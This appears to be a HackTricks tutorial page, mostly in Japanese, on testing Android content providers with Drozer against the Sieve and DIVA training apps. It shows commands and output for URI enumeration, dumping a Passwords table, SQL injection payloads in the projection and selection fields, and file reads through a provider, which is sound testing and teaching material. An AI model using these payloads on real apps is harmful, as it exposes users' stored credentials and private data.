Exploiting Content Providers

Exploiting Content Providers

Support HackTricks

Intro

データは、コンテンツプロバイダーとして知られるコンポーネントによって、他のアプリケーションに要求に応じて提供されます。これらの要求は、ContentResolverクラスのメソッドを通じて管理されます。コンテンツプロバイダーは、データベースファイル、またはネットワークなど、さまざまな場所にデータを保存できます。

_Manifest.xml_ファイルでは、コンテンツプロバイダーの宣言が必要です。例えば:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

content://com.mwr.example.sieve.DBContentProvider/Keysにアクセスするには、READ_KEYS権限が必要です。興味深いことに、開発者のミスにより保護されていない以下のセクションで/Keys/パスにアクセス可能です。開発者は/Keysを保護しましたが、/Keys/を宣言しました。

おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性(SQLインジェクションやパス・トラバーサル)を悪用することができます。

露出したコンテンツプロバイダーから情報を取得する

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

DBContentProviderに到達する方法を、URIを「content://」で始めることで組み立てることが可能です。このアプローチは、Drozerを使用して得られた洞察に基づいており、重要な情報は_/Keys_ディレクトリにありました。

DrozerはいくつかのURIを推測して試すことができます:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

あなたはまた、ContentProviderコードをチェックしてクエリを探すべきです:

また、完全なクエリが見つからない場合は、onCreateメソッドでContentProviderによって宣言された名前確認することができます:

クエリは次のようになります:content://name.of.package.class/declared_name

データベースバックのContent Providers

おそらくほとんどのContent Providersはデータベースインターフェースとして使用されています。したがって、アクセスできれば、情報を抽出、更新、挿入、削除できる可能性があります。 機密情報にアクセスできるか確認するか、認証メカニズムを回避するためにそれを変更しようとしてください。

Content Providerのコードをチェックする際には、_query、insert、update、delete_のような名前の関数探してください

なぜなら、あなたはそれらを呼び出すことができるからです。

コンテンツをクエリする

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insert content

データベースをクエリすることで、カラムの名前を学び、その後、DBにデータを挿入できるようになります:

挿入と更新では、--stringを使用して文字列を示し、--doubleを使用して倍精度を示し、--float、--integer、--long、--short、--booleanを使用できます

Update content

カラムの名前を知ることで、エントリを修正することもできます:

Delete content

SQL Injection

(SQLite) に対するSQLインジェクションをテストするのは簡単で、プロジェクション選択フィールドを操作することで、コンテンツプロバイダーに渡されます。 コンテンツプロバイダーをクエリする際に、情報を検索するための2つの興味深い引数があります:--selection--projection

このパラメータ悪用してSQLインジェクションをテストすることができます:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Drozerによる自動SQLインジェクション発見

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

ファイルシステムバックのコンテンツプロバイダー

コンテンツプロバイダーはファイルにアクセスするためにも使用できます:

ファイルを読む

コンテンツプロバイダーからファイルを読むことができます。

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

パス・トラバーサル

ファイルにアクセスできる場合は、パス・トラバーサルを悪用しようとすることができます(この場合、これは必要ありませんが、「../」や類似のトリックを使用してみることができます)。

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Drozerによる自動パストラバーサル発見

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

参考文献

HackTricksをサポートする

Last updated